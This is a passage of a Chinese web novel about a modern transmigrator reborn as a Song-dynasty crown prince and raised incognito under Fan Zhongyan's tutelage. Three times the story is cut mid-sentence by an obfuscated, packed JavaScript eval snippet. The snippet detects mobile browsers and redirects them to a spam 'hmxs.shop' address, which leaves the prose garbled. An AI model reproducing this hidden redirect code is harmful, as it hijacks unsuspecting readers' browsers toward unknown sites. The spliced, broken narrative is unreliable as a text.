这和迂腐有什么关系?我是以为你是对别人道德要求特别高的大宋君子。曹暾在心底吐槽。 “我只是担心夫子知道我没有兼济天下之心,对我失望。”曹暾半敷衍半真心道。 范仲淹确实有忧虑,但没想过应把太子培养成将天下装在心中的仁君。 仁君不是教出来的。 他会教导太子学识,告诉太子对错。之后太子选择哪一条路,他无力为太子抉择。 古时那么多帝师,谁能左右帝行? 君就是君,臣就是臣。 所以太子无论心性如何,范仲淹都不会失望,只会竭尽全力将自己的经验展现给太子看。 再者,太子只是听闻狄青是有功将领,就能勇敢地训斥骗财的僧人,机敏地劝愚昧的妇人求医,已经令他极为惊喜了。 范仲淹刚才的疑虑,不是疑虑曹暾是否真善良,而是疑虑曹暾对狄青的好感有多深。 皇帝已是极为喜爱狄青,若太子对狄青也极有好感,他就要劝皇帝不要太快提拔狄青,给狄青留点晋升的余地,让太子施恩了。 范仲淹问道:“郎君,你对狄将军有多了解?” 曹暾斟酌了一下词句,自认为十分生动形象地描述道:“狄将军爱护兵卒,治军严整,长于用兵。将来定是会因为战功太过和太受兵卒爱戴,被群臣以‘陛下莫忘太祖之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16562479|186390||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事’诬陷的千古名将吧。” 范仲淹:“……” 范仲淹:“什么?” 曹暾道:“我的意思是,他一定能流芳千古。” …… 赵祯看到范仲淹的密信后,揉了好几次眼睛。 暾儿正好救了狄青之子? 好呀!朕就是喜欢狄青,没想到暾儿和朕父子连心,也和狄青很有缘分! 暾儿说狄青将来会被群臣以“太祖之事”诬陷? 啊这…… 赵祯又揉了揉眼睛。 前日才给了皇后冷脸,今日赵祯本不该去的。但他实在是想找人倾诉此事,犹豫一番后,还是按捺不住,又去寻了皇后。 曹皇后没料到皇帝又来了,愣了一下,才接过皇帝递来的书信。 她深吸了一口气,木雕泥塑的表情崩开了一条缝:“暾儿、暾儿这真是,太口无遮拦了!” 赵祯心有戚戚:“是啊。范卿一定很烦恼。” 曹皇后慌乱极了:“暾儿怎么会养成这副口无遮拦的性格?难道是佑儿没教好?” 赵祯不同意。他极喜爱曹佑:“曹佑如曹宝璋一般谨慎。我看暾儿直言快语,只是因为他年幼才高,恃才傲物。观晏卿等年幼成名者,性格都和他差不多。” 赵祯顿了顿,道:“如范卿、韩卿、欧阳卿等,不是年幼成名,性格也和他差不多。” 曹皇后瞠目结舌:“暾儿……暾儿和范卿、韩卿等人性格相似?那、那怎么行?” 难道我儿还会在朝堂上与诸公互相指着鼻子吵架吗?! 赵祯却越想越乐。 他只能咬着牙被诸公喷口水。暾儿又不知道自己是太子,完全可以如普通朝臣一样和诸公互骂。 看,范卿不就被噎得半死,愣是一句话都没回答出来吗? 他还是第一次看见范卿哑口无言的模样,乐,太乐了! 赵祯假惺惺地安慰曹皇后:“暾儿是太子,自是该有这样的脾气,才不会被朝臣左右。我看他这样很好,不用改。” 曹皇后急了。暾儿如此年幼,居然都敢对陌生人说什么“太祖之事”了,这还不改?将来暾儿会狂成什么样? 见曹皇后急得连泥塑木雕都装不下去了,赵祯从曹皇后手中把信纸抽走,开开心心地拂袖离去,把焦急的曹皇后甩到身后。 暾儿不仅让范仲淹哑口无言,连皇后也被刺激得语无伦次了。 哈哈! 外有边患,内有天灾。满朝悍臣,压得赵祯连大气都不敢喘,做足了仁慈柔和之态,被人抓着袖子喷唾沫都要强自忍耐。 人被压狠了总会爆发。难得见到有趣的事,赵祯可太痛快了。 他真是太期待太子隐藏身份,入朝为官的景象了。 曹皇后看着皇帝甩着袖子离开的背影,拳头捏紧,好不容易才忍下嘴里的不敬之语。 皇帝现在只剩下赵暾一个儿子,不准曹皇后插手赵暾的教育。 曹皇后为了赵暾的未来,也要尽力不影响赵暾,以免皇帝警惕。 曹皇后枯坐了许久,才恢复木讷端庄的神情。 罢了,她虽不信任皇帝,但可以信任范仲淹和叔父。暾儿一定会被教导得很好,不必太过忧虑。 10.我爹是贪官 自曹暾把范仲淹噎得说不出来话后,曹暾便好几日没见过“朱夫子”。 说好的为我启蒙呢? 曹暾越发怀疑朱夫子的身份。 虽然范仲淹不可能来为自己这个普普通通的曹家子启蒙,但朱夫子为范仲淹的铁杆粉丝,于是改名为“朱说”也是有可能的。 反正曹暾对这个夫子充满警惕。 “那你为何还要故意气他?”曹佑事后得知曹暾之语,万般无奈。 他早知小侄儿的傲气与才气一样高,但朱夫子可能是没有记载在史册的某位庆历君子,小侄儿与朱夫子的话,说不准就会被朱夫子传到其他庆历君子耳中。曹家又是将门,如此敏感的话哪能随口说? 曹暾道:“我知道他是君子,故意的。我的性格藏不了一辈子,早暴露早悠闲。反正我不为将,说了此话又如何?再者,正因为我们曹家有这样的见识,他们才更放心。” 从方便舒适的现代社会投胎到北宋还没喝孟婆汤,他已经够可怜了,还要压抑自己的真性情,那也太过凄惨。 北宋这官场是多做多错,不做不错。他就想舒舒服服躺在朝中当一个尸位素餐的“老实官”,默默无闻地熬资历吃福利,谁能奈他何? 曹佑对身有大才却心无大志的曹暾只能报以苦笑。 即使曹佑已经从前尘中解脱,认可了今生的身份,前世林林总总荣辱贵贱都已为烟云消散,唯有曾目睹的百姓惨状却仍旧历历在目。 大宋皇帝冤杀了他,但百姓何辜? 他曾从史书中读过的后唐乱相,靖康耻后尽成了他眼中的实景。 米价飙升数千钱仍旧难以买到;残尸抹盐挂上了铁钩名为人腊;金军驱逐百姓于田野狩猎取乐;打着“忠义人”旗号的匪徒四处搜寻百姓充作军粮…… 他无法忘记绍兴四年那天,忠义人范温渡江来投,所携军粮皆为人肉。范温还侃侃谈起他吃人肉的心得,“老瘦男子庾词谓之‘饶把火’,妇人少艾者名为‘不羡羊’,小儿呼为‘和骨烂’。通目为‘两脚羊’”。 前世的他差点没忍住一刀剁了那畜生,但朝廷为了大局,仍旧只能接纳那畜生入朝为官。 金军是畜生,民间反抗军犹如匪徒,宋朝的官兵又有多少恶行? 他只能保证自己麾下军队的纪律,希冀乱世能在自己手中结束。 只有乱世结束,畜生们才能披上人皮,朝廷才能继续行教化之道。 可惜他百般忠义抵不过朝堂上的阴谋算计,只能希望自己死后还能有人振臂一呼,复我故土。 既然苍天让他回到了靖康之耻之前,他很想改变那个凄惨的未来。 如果大宋早早解除西夏和大辽的威胁,宋神宗没有郁郁而终,宋哲宗也没有英年早逝,或许金国的铁骑就无力南下。 曹佑想,身为曹家人,至少姐姐在当太后和太皇太后的时候,应该能庇佑自己为将。 之后若皇帝再次猜忌他功劳太大,他只要早早辞官归乡,以仁宗、神宗、哲宗的性格,自己应是能得个善终的。 曹佑见曹暾敏慧过人,很希望曹暾成为他志同道合之人。将来叔侄二人同在朝堂为官,一外一内,定能守望相助。 但曹暾……唉,不知道曹暾会不会随着年岁长大换个志向。 如果曹暾在庆历君子的教导后,仍旧坚持“尸位素餐”的理想,那、那他也是支持的。 希望暾儿能平安富贵,无病无灾一生。 唯一了解曹暾的曹佑保持缄默,其余人都被曹暾的年龄迷惑,只以为曹暾不过是年幼轻狂,读过了几本史书,就忍不住口出狂言针砭时弊。 大宋的文臣能当着皇帝的面说太/祖黄袍加身的旧事,一介幼儿的胡言乱语,算不上什么忌讳。 曹琮虽谨慎,也只是提醒曹暾不要在外人面前提什么太/祖旧事。 狄青升迁太快,朝中早有人看狄青不顺眼。即使是一幼儿痴语,也可能成为朝臣攻讦狄青的理由。 曹暾双眼亮闪闪:“既然我在朱夫子那里说错了话,可不可以换个夫子?” 曹琮疑惑:“暾儿还未听朱夫子授课,为何想换夫子?” 曹暾道:“因为他和韩资政认识,很麻烦。我不想我年纪轻轻,一言一行就入了朝中大官的耳。” 曹琮哭笑不得。年纪轻轻……你这年纪,连年纪轻轻都不是。范公和韩公即使知晓你是太子,也不会将你的话放在心上。 曹暾的老师是皇帝选的,曹琮可没有资格换人。他只能劝曹暾少打歪主意,好好听夫子的话。 才结识几日,曹琮就看透了这古灵精怪的小侄孙有多顽皮,不再被小侄孙乖巧的外表迷惑。 曹暾也故意在曹琮面前表现得较为不规矩,试探曹琮对他容忍的底线。 不知道是不是相处时间还太短,曹暾认为叔祖父似乎对他过于溺爱,连他的吃穿都比府中其他同辈好。 曹暾试图拒绝,或者与同辈共享,曹琮却说这是他父亲留下的产业,只能曹暾用。 曹暾很困惑,自家早死的爹不就是个普普通通地方官,能有多少钱? 他趴到曹佑耳边悄声道:“小叔叔,我爹该不会是大贪官吧?” 曹佑犹疑道:“只是留下些让你衣食无忧的钱财,应当不算贪官?” 曹暾又道:“姑母入宫的时候,爹爹还没死,他既然有钱,不也应该和叔祖父一样,全添姑母嫁妆里了吗?” 曹佑出生的时候,曹傅就已经在外为官,他没见过这位早逝的长兄几次。不过他记得见到长兄的时候,长兄衣着朴素,不像家有余财的人。 听曹暾这样说,曹佑不怀疑长兄贪污,但也有点怀疑长兄是不是故意在姐姐面前装穷,顿时面色古怪。 曹暾道:“姑母知道后,会不会讨厌我啊?” 曹佑摇头:“姐姐品德高尚,不会这样。” 曹暾不信。 虽然曹皇后在史书中的人品确实不差,但叔叔为自己倾家荡产,长兄却家藏巨款还装穷,心里怎么可能不膈应? 唉,爹爹人品差,我也会跟着受牵连。曹暾老气横秋地脱下绢丝新衣,换上短了一截的旧衣裳。 “叔祖父,即使是爹爹留给我的钱,但若同辈兄弟姐妹皆朴素,仅我一人奢华,我十分惭愧。”为了不让爹爹的坏人品波及自己,曹暾只能自苦,“我宁愿绝食,也不愿意独自享受。” 于是曹暾便真的绝食了。 范仲淹偷偷帮助完狄青一家人,回到曹家准备履行太子师的职责时,就听见太子绝食。 范仲淹看向曹琮,那眼神和看西夏人似的,眼刀子淬着毒。 曹琮哭笑不得。 即使皇帝宫中用度较为节俭,但只是在历代皇帝中算节俭,与寻常大臣家中用度还是很不同的。 太子养在宫外,皇帝开私库偷偷给太子补足该有的吃穿用度。太子所用每一笔花销,曹琮都记在账上呈给皇帝,万不敢挪用分毫。 可太子孝悌,所用不与家中人相同,就不肯饭食,他能怎么办? 曹琮苦笑:“太子不仅绝食,还怀疑曹傅是在皇后面前装穷的大贪官,人品有缺。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16568255|186390||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 范仲淹瞠目结舌:“太子太聪颖,曹公也很为难啊。” 曹琮可不想一个人为难:“朱夫子,你既然回来了,就该与我一同为难。” 曹家简朴,皇帝必不忍太子吃穿与曹家子弟等同。可太子孝悌,又不愿意独自一人享受。这可如何是好? 范仲淹道:“陛下有何旨意?” 曹琮绷着脸道:“陛下说他没旨意,让我自行解决。” 范仲淹:“……” 他深呼吸,板着脸道:“我立刻进宫!” 陛下!就算你把太子送出宫养,子不教父之过,太子的事你也要拿主意啊! 曹暾可没有饿着。 他只是嘴上嚷嚷绝食,其实吃穿用度和曹佑一样,只是不用曹琮送来的精致吃食罢了。 不提曹皇后得知自家长兄风评受害后又气了一场,曹暾之后吃穿用度明面上和曹家人没有区别。剩余的份例,皇帝都给曹暾折为银钱。 等曹暾通过童子试后,他一并赏赐给曹暾,之后就不用假借曹傅的名义了。 又一桩事情了结,曹暾终于能安心读书。 范仲淹考校过他的学识后,认为曹暾不必再扩宽读书范围,当务之急乃是练字。 他手把手教导曹暾描字,被曹暾在练字上的愚钝折磨得不轻。 这时范仲淹只能去检查曹佑的书法作业,才能减轻对自己授课能力的怀疑。 瞧瞧曹佑的字,已经初具风骨,自成一派,真是优秀啊。 曹佑羞赧不已。 他哪是自成一派,他只是前世写“苏体”已经形成习惯,改不了了。 咳,但苏轼现在才八岁。 曹佑不想欺世盗名,忙说自己是模仿得古人字帖,非自成一派。 范仲淹微笑叹气。 曹佑见过的古人字帖能有他多?是不是自成一派他还不了解? 曹佑果然比曹琮还谨慎,竟然在与朝堂无关的书法一道上都不肯扬名。 范仲淹不再提让曹佑以书法扬名之事,转移话题道:“既然曹三郎擅书,为何暾儿的字……” 他虽出身寒门,启蒙较晚,五岁时刚学字不久,但写得也比曹暾好。 曹佑沉默了一会儿,道:“我很努力了。” 范仲淹闻言,长叹一口气,继续去监督曹暾描大字。 书法一道,即使没有天赋,通过苦练也能写得周正。范仲淹重新调整目标,太子的字不求风骨,只求周正。 曹暾捏着毛笔,冒出两大泡眼泪。 写毛笔字真的好难!我还不到五周岁,你们揠苗助长! 不要再给我举什么某某五岁擅书的例子,他们都不是人!不是人! 曹暾陷入悲观。自己真的考得上童子试吗? 科举他不指望,如果堂堂穿越者连少年儿童都不能比过,也太丢穿越者的脸了吧? 呜呜呜! …… 曹暾在自我怀疑的时候,他的名声已经悄悄在京中传开。 曹家有儿名暾,年五岁,少失怙恃,性孝悌。 他正当长身体的年龄,衣服很快就短小了。但家中人不换新衣,他便不肯穿新衣,宁愿穿短了一截的旧衣服。 家里人怜惜他年幼,常将最好的食物留给他。但家中人与他饮食不同,他竟忍饥不食。 哦,对了,曹家暾儿已通读五经能作诗写文准备考童子科(一口气念完)。 所有正疑惑曹家暾儿是谁,好奇五岁幼童的衣食能和家里人有多不同的人一拍大腿,懂了。 11.是他人狭隘 曹暾得知自己的名声已经传遍东京大街小巷时,撇了撇嘴,继续和毛笔作斗争。 范仲淹将此事告知曹暾,教导的话藏了满腹,就等着曹暾露出惊异神色时全倒出来。 教导太子,学识是小事,道德才是大事。 这道德不是指让太子当个多高尚的道德君子,而是教他知晓对错,不被浮华虚名遮住双眼——寻常人家的子弟被浮华虚名遮住双眼就只是败了自己家,皇帝不识对错就是祸国殃民。 能考童子科者皆自幼成名,后能保有文采者寥寥无几。大部分神童都在吹捧中迷失了自我,不肯再花心思刻苦学习,最后泯然众人。神童事例正好用来给太子讲课。 如果曹暾露出喜色,他会让曹暾静心,然后以泯然众人的神童事例警醒曹暾;如果曹暾能克制自己,他会夸赞曹暾和那些优秀的神童一样,然后举出那些优秀神童的事例。 无论曹暾露出怎样的神色,范仲淹都有对应的教导的话。 但太子撇嘴是个什么反应?范仲淹沉默了一瞬,问道:“郎君似乎并不惊喜?” 曹暾皱着小脸抬头:“惊喜什么?” 曹暾用这个语气和夫子说话,可谓是十分不客气了,但范仲淹没有计较,曹暾便懒得改。 范仲淹道:“郎君已经名冠东京,难道不惊喜?” 曹暾摇头:“我不惊喜,听到我的名声的人也不会惊讶。叔祖父不是讲明了我要考童子科吗?谁都知道我在扬名、养望、行卷。” 范仲淹语塞。自己想教导太子不重虚名,但太子是不是太懂人情世故了?这还是五岁孩童吗?是曹佑教的吗? 他满腹教导的话堵在胸口,竟一句话也说不出来。 他还能说什么?难道教导太子科举官场的弯弯道道? 最终范仲淹只能夸赞道:“郎君很清醒,很好,很好。郎君要如何回应邀请赴宴的帖子?” 如果是寻常幼童,送来的请帖会由师长处理。但曹暾很有主见,范仲淹想听听曹暾的想法。 曹暾道:“请夫子帮我回绝了吧,就说我年幼,精力不济,每日读书习字后便无空出门玩耍了。” 范仲淹问道:“为何?你已经知晓考童子科需要扬名养望,何不把握这个机会?” 曹暾见朱夫子在考校他,便放下毛笔,板着小脸作答:“虽科举前扬名养望是潜规则,但陛下和公卿也不喜学子太浮躁。我的名声既然已经传出,在童子科举办前就该竭力低调,做出刻苦模样了。” 做出刻苦的模样……他是不是该庆幸郎君用的词不是“装出”?范仲淹嘴角十分细微地抽搐了一下:“郎君……很通透。” 太子这人情世故究竟从哪学的?难道真的是曹佑灌输的? 听到朱夫子的询问,曹佑忙摇头:“不是我。暾儿自幼通慧,当是从史书中学到的。” 史书怎么可能教这个!等等,史书好像确实记载了许多科举旧事。范仲淹回忆了一下,深深地叹了一口气。 曹佑不理解朱夫子的忧虑:“暾儿通透,不是很好吗?” 范仲淹苦笑:“是很好。” 如果太子真的只是曹家子,想通过童子科科举做官,自然是越通透越好。可太子就…… 范仲淹心头一凛。他意识到一件事。 寻常官宦子弟需要通透,难道太子就不需要吗?太子熟知科举考场和朝廷官场的规则,难道不是好事? 为何自己会为难?自己究竟在为难什么? 范仲淹深吸一口气,压下心中的异样,颔首道:“郎君熟知人情世故,确实是好事。” 曹佑露出一抹慈祥的笑容:“将来暾儿入朝为官,定能保全自身。” 范仲淹刚平静下来的心脏又在狂蹦。 太子……入朝……为官…… 冷静,冷静。陛下一定已有计划,不会做出那么荒唐的事。陛下应当只是想让太子当宫中侍读,好有借口亲自教导太子吧。 想通之后,范仲淹便真只当曹暾为普通考生,继续教导曹暾读书写字。 规正道德要遇到具体的事之后才能教导。只说空话,学生不仅不会有感悟,反而会厌烦大道理。范仲淹耐心等待下一次可以教导曹暾的时机。 曹暾对范仲淹复杂的心情一无所知。他已经被毛笔字吸走了所有情绪和精力。 既然皇帝已经同意曹暾考童子科,曹琮再不赞同,也只能尽力遵循皇帝的旨意,只当自己是普通神童的大家长,全力为曹暾扬名。 曹暾的诗词很是一般,仅能符合韵律。不过对成年人而言匠气的诗词出自一介五岁幼童之手,旁人也可以惊叹了。 曹琮挑挑拣拣,传了几首勉强能入眼的诗词出去。听到曹暾神童之名的人才收起轻视之意,勉强认可了曹暾有扬名的资格。 不过仅仅是这样,曹暾远远没达到可以考童子科的程度。寻常书香世家的优秀子弟,所作诗词都不会比曹暾差。 曹暾所强之处也不是诗词,而是经史子集和策论。 不过神童扬名也要循序渐进,不能给人以浮躁冒进之感。曹琮在众公卿心中为曹暾留下了浅浅的印象之后便收手,待舆论冷却后,再进行下一波宣传。 童子科等同察举,神童要被举荐,自身的名声和家族的人脉必不可少。曹暾不缺人脉,就只需要扬名了。 曹琮此举,让朝中许多人都很困惑。 曹家即使在最辉煌的时候都竭力低调,更不说成为后族之后,恨不得全族都变成隐形的哑巴,除了必要的正事都不肯发出声音。 曹琮如此高调地为族中子弟扬名,实在是不符合曹家一贯的作风。 曹琮早知会有人困惑,便适时地传出风声。曹家虽低调,但也要延续,不是任凭家族衰落。曹暾既然有报考童子科的本事,成为同辈曹家人在朝堂中的领头者,恰好合适。 何况童子科进士的“主考官”仅有皇帝,乃是最纯正的天子门生。曹暾以此入仕,很符合曹家的家风。 众公卿一听,甚觉有理。 谁都能看出皇帝对皇后的疏离。但皇帝对皇后的态度越冷漠,曹家越不能有怨言,反而更要彰显出自己忠君报国的一面。将一天才小儿送到朝中,既能显示出曹家在积极报效君王,那小儿在长大前也不会卷入朝廷争斗,可谓一石二鸟。 朝中公卿很喜欢曹琮的心性和曹家的家风,便纷纷给曹琮下帖子,暗示如果曹家小儿名副其实,可拿着帖子向他们请教。 连每隔几日就上疏辞官,从来独善其身的宰辅章得象都给了曹琮这个面子,愿意指点曹暾。 曹琮见一切都如自己所预料,松了一口气。 这事虽然是皇帝要求他做的,但他看到公卿对曹家的善意,仍旧忐忑不已。他生怕这些善意让皇帝误以为曹家在朝中人脉过重,惹皇帝不喜,让在宫中步履维艰的侄女雪上加霜。 这些时日,曹琮头发都多白了几缕。他向皇帝汇报的时候,见皇帝面色并无不虞,并叮嘱他多带曹暾拜见朝中有才有德的公卿,他才松了口气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16574362|186390||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,不再胡思乱想。 曹暾见到朝中公卿的帖子后,仍旧一副眼神毫无波澜,仿佛事不关己的模样。 范仲淹既心喜太子稳重,又担忧太过淡漠。 太子不为名声所动是好事,但有能拜见公卿的机会,即使太子再稳重,一点喜意总该是有的。太子淡然过头,倒是惹人忧虑了。 皇帝就剩这么一个活着的皇子,再小心谨慎都不为过。范仲淹便向曹琮吐露了忧虑,希望曹琮能探得曹暾的心里话。 自己只是夫子,是外人,恐怕太子不会向自己吐露心声。 曹琮对范仲淹的杞人忧天叹了口气,将这件“大事”转交给曹佑。 回京之后,曹家浩瀚的藏书让曹佑连最溺爱的小侄儿都抛到了脑后。在曹家老宅生活,曹佑也不用再因担忧小侄儿安全而与其同睡。叔侄二人常常各自忙碌,几日不见面,曹暾对公卿帖子的反应,曹佑还不知道。 被叔父从藏书屋中拖出来的曹佑听完叔父交代的“任务”,哭笑不得:“暾儿不过是傲气了些,不因公卿地位和名声而对其心生仰慕,叔父不必忧虑。” 曹琮心道,他没觉得忧虑,是范公对太子的一言一行都看之过重,故而忧虑。 曹琮道:“既然暾儿要早早入朝为官,得学会将傲气压在心底,方不会得罪公卿。” 曹佑点头:“我知道了。我去劝劝暾儿。” 曹佑所谓劝,就是直接将曹琮的忧虑告知曹暾。 他深知小侄儿敏慧老成,凡事都是直接与曹暾商议,这是他们叔侄二人的习惯。 曹暾这才知道朱夫子近几日纠结的神色是什么意思,无语道:“我不想当什么学问大家,学识够用就成,懒得去请教别的学问大家;我也不在乎名利,权势和富贵够用就成,不想在朝堂发光发热,便也懒得博得朝中权贵好感。既然我没有欲求,那心情自然平静。” 他不是古代人,别说对朝中公卿,就是对皇帝也没什么滤镜。虽然他好奇历史名人,也仅限于好奇,不是任何历史名人的脑残粉,顶多碰上了就去打个卡比个耶,不会特意去结交。所以他不会因公卿给了他请教的机会而喜悦,不是理所当然吗? 曹暾小脸皱作一团:“朱夫子和叔祖父都认为我这样很傲慢?我不过是没表现出欣喜,这都能得罪人?那群人的心胸得多狭隘啊。” 曹佑被小侄儿说服了。 曹佑一直践行,只要自己心术光明,一切富贵贫贱与毁誉利害皆不能动摇自己的心。 暾儿所想与他的坚守类似。 孔子曾言寡欲为刚。既然暾儿所为符合先贤的道理,若是得罪他人,那定是他人所为不符合先贤的道理。朱夫子和叔父可以忧虑暾儿被心胸狭隘的小人中伤,但不该忧虑暾儿本身心性有亏。 曹佑在叮嘱小侄儿在外人面前要多装上几分后,就去曹琮和朱夫子面前为曹暾辩护,力争曹暾此事无错。 曹琮:“……我没说暾儿此事有错。”是范仲淹说的! 范仲淹:“……我亦不觉郎君有错。”我担忧的是郎君过于冷漠的心态问题! 曹暾再次得知有公卿送来帖子时,露出了假到不行的惊喜表情,捏着嗓子尖声道:“竟能得相公赏识,小子实在是惶恐不已!” 范仲淹比之前更加无力,扶额叹气道:“郎君在外人面前假装一二即可,在家里不需要为难自己。” “哦。”曹暾的表情瞬间恢复成面无表情。 这个夫子真难伺候。真的不能换一个吗? 12.不想理睬人 范仲淹经过反复思考,怀疑曹暾凡事兴趣缺缺,是因为功课太多,生活太闷。他便给曹暾放了几日假,让曹佑带曹暾出门玩耍。 曹暾得知朱夫子给他放假,让小叔叔带自己出门玩时,十分不解。 曹佑道:“你还年幼。朱夫子担忧你读书过于刻苦,损了孩童心性。” 曹暾更加不解。古时的文人不就喜欢自虐式的苦读,天天把“读书读不死就往死里读”奉为至理名言吗? 自己坚持日出起床日落而息,坚决不学小叔叔挑灯夜读折腾眼睛,中午还必定午睡养神,已经算不上刻苦了,朱夫子还能担忧? 而且孩童心性又是什么鬼?是说自己读书时不东张西望,偷奸耍滑吗? 曹暾昨日刚得了一本唐人笔记残本,正看得津津有味,想一口气看完,今日实在是不想出门。 曹佑把曹暾拎起来,把书从他怀里夺走,藏在了书架最高处:“不是让你读书时偷奸耍滑,而是劳逸结合。” 曹暾在榻上躺平,仿佛被谁下了体力流失的诅咒:“我不想出门。” 曹佑给曹暾套上外出的衣服:“隔壁瓦子来了新戏班子,我带你去看热闹。” 曹暾被曹佑翻来翻去,就是不离开坐榻,假装自己是一只只会趴趴的猫猫虫:“我不想出门。” 曹佑把曹暾抱起来,给曹暾罩上防蚊虫的罩衣纱帽:“今天的午饭就在潘楼吃。你回京后还没在外面吃过饭,开不开心?” 曹暾双手抵着曹佑的脸,瘦小的身体扭成了麻花,想从小叔叔怀里挣脱。 他尖着声音叫道:“我、不、想、出、门!” 差点抱不住扭扭小侄儿的曹佑把小侄儿往肩膀上一扛,飞快往外跑。 曹暾的肚子抵着小叔叔的肩膀,小短腿使劲蹬小叔叔的胸口,小短手使劲砸小叔叔的背:“放我下来!我要看小说!我不想出门!” 曹佑跳上马车,吩咐马车夫兼护卫的家丁:“快走快走!” 家丁连忙挥动马鞭。马车从角门驶了出去。 上马车后,曹暾被曹佑放到怀里。他气愤地扯起小叔叔的袖子磨牙。 曹佑哭笑不得:“袖口脏,别咬。” 曹暾不搭理曹佑,咬着曹佑的袖子不松口,那狰狞的表情,好似把袖子当曹佑的血肉咬。 曹佑温言细语地讨好曹暾许久,曹暾也不原谅他。 直到马车到了桑家瓦子门口,曹暾才松开牙,很不卫生地往地上呸呸呸吐口水。 不过桑家瓦子人来人往,本就没有卫生的地方,曹暾这动作也没人在乎就是了。 曹暾环视了一圈熙熙攘攘的人群,嫌弃地拉了拉纱帽,挡住四面八方传来的难闻的味道。 桑家瓦子类似现代农村过年的大型集市,遍地摆摊的小商小贩。 市场中有名为“勾栏”的戏台子。勾栏里耍杂技的,跳歌舞的,扮滑稽的……各色演出应有尽有,一直演到三更天。每晚夜市烧掉的灯油,都够曹暾一月伙食费了。 这样热闹的地方,汗臭脚臭混合着各种香料和食物的香气,还有不知道从哪个角落里传出来的屎尿腥臊味,其味道之难闻,可想而知。 曹暾无奈和小叔叔和解,伸手让曹佑抱着走。他将脸埋在曹佑胸口,遮住无孔不入的臭味。 所以我才讨厌出门啊!曹暾在心里咬牙切齿地咆哮。 今日出门,曹琮给了曹佑整整一贯钱。 寄禄官职决定正俸禄(基础工资),曹琮的寄禄官职是正五品的观察使,不提其他补贴和福利,月俸为两百贯。 虽然看着很多,但曹琮既要还债,又要养活一大家子人,手中自然不可能随意拿出一贯钱给晚辈逛街。这一贯钱,是从曹暾的例钱中支取的。 曹佑将近九斤重的铜钱缠在腰间,铜钱上再裹了一层皮子腰带,腰间沉甸甸的,心里十分踏实。 他小声对怀里的小侄儿道:“今天我带了很多钱,带你逛街逛个够。你想吃什么想买什么,就和我说。” 曹暾半个眼神都没给装豪气的小叔叔。 一贯钱看似很多,但要想在纸醉金迷的东京城里想吃什么就吃什么,想买什么就买什么,那可远远不够。 十陌钱为一贯。本来一百文为一陌钱,但民间惯爱减些,现在约定俗成,朝廷和民间都以七十五文左右铜钱为一陌,连官员发俸禄时也以七十七文钱为一陌。 所以叔祖父给小叔叔的“逛街费”,也就是七百七十文钱。 宋初一石米约八十文钱,如今连年战争和天灾,一石米至少六百八十文起。 小叔叔要带自己去打牙祭的潘家酒楼,一桌像样一点的菜肴,不连酒在内也要至少两贯钱,这菜还不能点虾蟹、山珍,更别提买其他东西了。 他抬头看着自家小叔叔露出仿佛暴发户般的豪气神情,把脸往小叔叔的胸膛上一砸,无声叹气。 我曹家堂堂开国功勋,皇亲国戚,怎么就沦落到拿着一贯钱逛街,便开心得走路都快要飘起来的程度? 曹佑和曹暾已经用过早饭,曹佑便直接去了勾栏,先带着小侄儿看戏。 他花了十几文钱,寻了个装饰着牡丹图案的棚子坐。这座位费还附赠一杯热水,但不能续杯。 东京的柴火可是很贵的,连带着热水也不便宜。 事也凑巧,曹佑和曹暾刚坐下,戏台子上正好换了新的班子上台演出。 左右勾栏常客窃窃私语,说上台的新来桑家瓦子演出的班子,其中唱“小唱”的乃是被裁减的乐坊乐人,今日来看戏的可有福气了。 有一位面容十分俊秀的总角少年傲气道:“将来我定能让乐坊之人亲自为我献舞献唱!” 他身边略显老成的束发少年道:“惇七,为兄知你想仿汉高祖和西楚霸王旧事,但爱去乐坊听歌舞真不算什么值得称道的事。” 俊秀少年面色涨红:“我只是说让乐坊之人为我献舞献唱,没说我爱去乐坊!” 老成少年再次叹气:“你拿乐坊做比,不就是喜欢去乐坊的意思?不然怎么老扯着乐坊不放?” 俊秀少年磨牙:“我没有老扯着不放!” 曹佑没忍住,偏头看了旁边两位少年一眼。 他牢牢遮住怀里肩膀轻颤的曹暾,不让别人看出他的小侄儿正在笑话陌生人。 虽然曹暾平常总爱挎着张脸,但偶尔笑点真的很低。 俊秀少年对着族兄磨牙,脸正好转向曹佑。他一眼对上了曹佑投来的视线,顿时满脸红透。 老成少年逗族弟逗得正开心,见族弟的脸瞬间红透,也转过了头。 老成少年拱手道:“打扰到兄长听曲了吗?抱歉抱歉。” 曹佑摇头:“没有。” 他悄悄掐了一下怀里笑个不停的小孩的背,示意曹暾赶紧止笑,免得被当事人发现。 曹暾双手使劲揉了揉脸,才把笑止住。 